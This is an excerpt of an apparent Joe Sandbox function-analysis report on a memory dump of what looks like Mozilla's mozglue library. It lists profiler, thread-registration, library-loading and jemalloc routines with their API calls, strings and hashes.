strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5DCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5DCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5DCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5DCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5DCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5DCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5DCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5DCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5DCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5DCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5DCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5DCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5DCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5DCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5DCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5DCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5DCE8A

Strings

processcpu, xrefs: 6C5DCE6E
fileio, xrefs: 6C5DCC92
unregisteredthreads, xrefs: 6C5DCE58
ipcmessages, xrefs: 6C5DCDBE
jsallocations, xrefs: 6C5DCD0E
preferencereads, xrefs: 6C5DCD92
stackwalk, xrefs: 6C5DCCF8
noiostacks, xrefs: 6C5DCCBE
nativeallocations, xrefs: 6C5DCDA8
fileioall, xrefs: 6C5DCCA8
samplingallthreads, xrefs: 6C5DCE2C
markersallthreads, xrefs: 6C5DCE42
Unrecognized feature "%s"., xrefs: 6C5DCEA0
leaf, xrefs: 6C5DCC66
java, xrefs: 6C5DCC37
default, xrefs: 6C5DCC21
mainthreadio, xrefs: 6C5DCC7C
cpuallthreads, xrefs: 6C5DCE16
power, xrefs: 6C5DCE84
audiocallbacktracing, xrefs: 6C5DCDD4
nostacksampling, xrefs: 6C5DCD7C
seqstyle, xrefs: 6C5DCCE6
screenshots, xrefs: 6C5DCCD4
notimerresolutionchange, xrefs: 6C5DCE00

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: e486872f6e3ff7cff2696356321015e8535e9a6ee627e37025f6aa0279786387
Instruction ID: bb35aa176288c1f5a76c6f7f7e72be94a476dbf29f47561938eff377b60370c6
Opcode Fuzzy Hash: e486872f6e3ff7cff2696356321015e8535e9a6ee627e37025f6aa0279786387
Instruction Fuzzy Hash: 0251B8E0B1536531FE0D751D5E11BAA5605EB5324AF21443AFE0BB1EC0FB14B60A8ABF

Function 6C5A47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5A4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5A4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5A482D
__Init_thread_footer.LIBCMT ref: 6C5A484A

Part of subcall function 6C5CAB3F: EnterCriticalSection.KERNEL32(6C61E370,?,?,6C593527,6C61F6CC,?,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB49
Part of subcall function 6C5CAB3F: LeaveCriticalSection.KERNEL32(6C61E370,?,6C593527,6C61F6CC,?,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5A485F
GetCurrentThreadId.KERNEL32 ref: 6C5A487E
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5A488B
free.MOZGLUE(?), ref: 6C5A493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A4956
free.MOZGLUE(00000000), ref: 6C5A4960
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5A499A

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

free.MOZGLUE(?), ref: 6C5A49C6
free.MOZGLUE(?), ref: 6C5A49E9

Part of subcall function 6C5B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
Part of subcall function 6C5B5E90: memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
Part of subcall function 6C5B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C5A4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5A4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5A47FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5A4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5A4828

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 43506ffad7bd2d8580ed1542bad40eeef50361736ad658f8c164f7de85722762
Instruction ID: 954fbd20d06195721e8c489a0bc0596cb3ee9ad8b62444512ba0f2cebcef4466
Opcode Fuzzy Hash: 43506ffad7bd2d8580ed1542bad40eeef50361736ad658f8c164f7de85722762
Instruction Fuzzy Hash: 4D81D170A001008FDB04DFEFDC9575E3775AF8231AF14062AE91697F42EB31A9568B9E

Function 6C5A4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5A44B2,6C61E21C,6C61F7F8), ref: 6C5A473E
Part of subcall function 6C5A4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5A474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5A44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5A44D2
InitOnceExecuteOnce.KERNEL32(6C61F80C,6C59F240,?,?), ref: 6C5A451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5A455C
LoadLibraryW.KERNEL32(?), ref: 6C5A4592
InitializeCriticalSection.KERNEL32(6C61F770), ref: 6C5A45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5A45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5A45BB
InitOnceExecuteOnce.KERNEL32(6C61F818,6C59F240,?,?), ref: 6C5A4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5A4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5A4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5A466D
VerSetConditionMask.NTDLL ref: 6C5A469F
VerSetConditionMask.NTDLL ref: 6C5A46AB
VerSetConditionMask.NTDLL ref: 6C5A46B2
VerSetConditionMask.NTDLL ref: 6C5A46B9
VerSetConditionMask.NTDLL ref: 6C5A46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5A46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5A46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5A46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5A46F7
WRusr.dll, xrefs: 6C5A44B5
Gal, xrefs: 6C5A44FC
user32.dll, xrefs: 6C5A4557, 6C5A463F
kernel32.dll, xrefs: 6C5A44CD
l, xrefs: 6C5A4578

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gal$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1081600483
Opcode ID: 424031663f0d9a7ba8fa1a839af4717505f35763b4021df1f38d73b0ac62d321
Instruction ID: b77c978c7c05eae855c00deb30b9d196d47aca033e86af58ae6633d1cf67bc25
Opcode Fuzzy Hash: 424031663f0d9a7ba8fa1a839af4717505f35763b4021df1f38d73b0ac62d321
Instruction Fuzzy Hash: 73615DB06043449FEB008FEBCC8AB997BF8EF4630AF04855AE5049BE51D7B08946CF56

Function 6C5DF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5DF8F9

Part of subcall function 6C5A6390: GetCurrentThreadId.KERNEL32 ref: 6C5A63D0
Part of subcall function 6C5A6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5A63DF
Part of subcall function 6C5A6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5A640E

ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF93A
GetCurrentThreadId.KERNEL32 ref: 6C5DF98A
GetCurrentThreadId.KERNEL32 ref: 6C5DF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF716

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

Part of subcall function 6C59B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C59B5E0

GetCurrentThreadId.KERNEL32 ref: 6C5DF739
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF746
GetCurrentThreadId.KERNEL32 ref: 6C5DF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61385B,00000002,?,?,?,?,?), ref: 6C5DF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5DF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5DF866
free.MOZGLUE(?), ref: 6C5DFA0C

Part of subcall function 6C5A5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A55E1), ref: 6C5A5E8C
Part of subcall function 6C5A5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A5E9D
Part of subcall function 6C5A5E60: GetCurrentThreadId.KERNEL32 ref: 6C5A5EAB
Part of subcall function 6C5A5E60: GetCurrentThreadId.KERNEL32 ref: 6C5A5EB8
Part of subcall function 6C5A5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A5ECF
Part of subcall function 6C5A5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5A5F27
Part of subcall function 6C5A5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5A5F47
Part of subcall function 6C5A5E60: GetCurrentProcess.KERNEL32 ref: 6C5A5F53
Part of subcall function 6C5A5E60: GetCurrentThread.KERNEL32 ref: 6C5A5F5C
Part of subcall function 6C5A5E60: GetCurrentProcess.KERNEL32 ref: 6C5A5F66
Part of subcall function 6C5A5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5A5F7E

free.MOZGLUE(?), ref: 6C5DF9C5
free.MOZGLUE(?), ref: 6C5DF9DA

Strings

" attempted to re-register as ", xrefs: 6C5DF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5DF71F
Thread , xrefs: 6C5DF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5DF9A6

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0896bbeba98a833080a1960c71af8dca9fdc2d1900d724a9c23e3236f09e7f86
Instruction ID: 985f83fc2ed6cff85455f74dead66b2c448bd6105bc3081056b3392635c7e51a
Opcode Fuzzy Hash: 0896bbeba98a833080a1960c71af8dca9fdc2d1900d724a9c23e3236f09e7f86
Instruction Fuzzy Hash: 5981F371A04300DFDB10DF29CC80AAEB7A5AFC5308F45456DE8499BB52EB30AD49CB96

Function 6C5DEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DEE60
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEE6D
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5DEEA5
CloseHandle.KERNEL32(?), ref: 6C5DEEB4
free.MOZGLUE(00000000), ref: 6C5DEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5DEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DEECF

Part of subcall function 6C5DDE60: GetCurrentThreadId.KERNEL32 ref: 6C5DDE73
Part of subcall function 6C5DDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5A4A68), ref: 6C5DDE7B
Part of subcall function 6C5DDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5A4A68), ref: 6C5DDEB8
Part of subcall function 6C5DDE60: free.MOZGLUE(00000000,?,6C5A4A68), ref: 6C5DDEFE
Part of subcall function 6C5DDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5DDF38

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5DEF1E
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEF2B
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEF59
GetCurrentThreadId.KERNEL32 ref: 6C5DEFB0
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEFBD
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5DEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF000

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5DF02F

Part of subcall function 6C5DF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5DF09B
Part of subcall function 6C5DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5DF0AC
Part of subcall function 6C5DF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5DF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C5DF008
[I %d/%d] profiler_stop, xrefs: 6C5DEED7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 2dc06698f4db642b807e61c515f41ebebaf174a525e0edd014d229c141524587
Instruction ID: 26e21c627e002dbc165a0b9b9c1cbeb5963c4451a0711868ecd8e3d4e7b40577
Opcode Fuzzy Hash: 2dc06698f4db642b807e61c515f41ebebaf174a525e0edd014d229c141524587
Instruction Fuzzy Hash: DD51E371604311DFEB009B6FD88A79977B4EF8635AF11452BE91583F42CB7068058BAF

Function 6C5CD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C61E804), ref: 6C5CD047
GetSystemInfo.KERNEL32(?), ref: 6C5CD093
__Init_thread_footer.LIBCMT ref: 6C5CD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C61E810,00000040), ref: 6C5CD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7B8,00001388), ref: 6C5CD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E744,00001388), ref: 6C5CD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E784,00001388), ref: 6C5CD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C61E7DC,00001388), ref: 6C5CD1B1

Strings

MALLOC_OPTIONS, xrefs: 6C5CD0CB
MOZ_CRASH(), xrefs: 6C5CD277
Compile-time page size does not divide the runtime one., xrefs: 6C5CD26D
<jemalloc>, xrefs: 6C5CD268, 6C5CD311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CD322

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 51c98f2c558dbce9b680f00540582a753a65a3f9b1b0a1f4d998445f68cc0f89
Instruction ID: 45c9248983ea6ad437431a6ed3fab57c35194e8ed9a1b0a81924ab9b6f5e19fc
Opcode Fuzzy Hash: 51c98f2c558dbce9b680f00540582a753a65a3f9b1b0a1f4d998445f68cc0f89
Instruction Fuzzy Hash: BE81AB70B452009FEB049FAECC9AA697BB5EB5630AF10052FE901D7F80D775D805CB9A

Function 6C5A7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5A8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5A801D

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5A802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5A803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5A808D

Part of subcall function 6C5ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5A809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5A80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5A80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5A8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5A8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5A8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5A817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A8199

Strings

0>]l, xrefs: 6C5A811E

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>]l
API String ID: 2721933968-3029066061
Opcode ID: 2645abdb2832205af691626b5c75db30587c06218da3f679a4c23c53a58f83ed
Instruction ID: 111f3aaa9c7f3a7cf056c2fd1e417d0799f4aeab55515924a59235bdd656bfdb
Opcode Fuzzy Hash: 2645abdb2832205af691626b5c75db30587c06218da3f679a4c23c53a58f83ed
Instruction Fuzzy Hash: B85186B1E001549BDF00DBAADC84AAFB7B9EF89264F140125E815F7741E731AD058BA6

Function 6C5A5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A5E9D

Part of subcall function 6C5B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B85
Part of subcall function 6C5B5B50: EnterCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B90
Part of subcall function 6C5B5B50: LeaveCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5BD8
